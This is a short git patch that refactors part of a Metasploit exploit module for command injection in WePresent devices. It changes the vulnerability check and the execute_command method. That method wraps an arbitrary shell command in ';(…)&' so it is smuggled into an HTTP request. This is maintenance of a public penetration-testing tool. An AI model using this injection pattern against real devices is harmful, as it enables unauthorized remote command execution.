From 009ec162de5d20faf5c19e128f106624283da0db Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Tue, 14 Jan 2020 07:52:30 -0500 Subject: [PATCH] Use string interpolation and removed rundant namespace and return statement --- modules/exploits/linux/http/wepresent_cmd_injection.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/wepresent_cmd_injection.rb b/modules/exploits/linux/http/wepresent_cmd_injection.rb index 8c1ce16154..a8b056ed8f 100644 --- a/modules/exploits/linux/http/wepresent_cmd_injection.rb +++ b/modules/exploits/linux/http/wepresent_cmd_injection.rb @@ -83,15 +83,15 @@ class MetasploitModule < Msf::Exploit::Remote if check_resp.code == 200 check_resp.body.gsub!(/[\r\n]/, "") if check_resp.body == "root" - return Exploit::CheckCode::Vulnerable + return CheckCode::Vulnerable end end - return Exploit::CheckCode::Safe + CheckCode::Safe end def execute_command(cmd, _opts = {}) - send_command(";(" + cmd + ")&", nil) + send_command(";(#{cmd})&", nil) end def exploit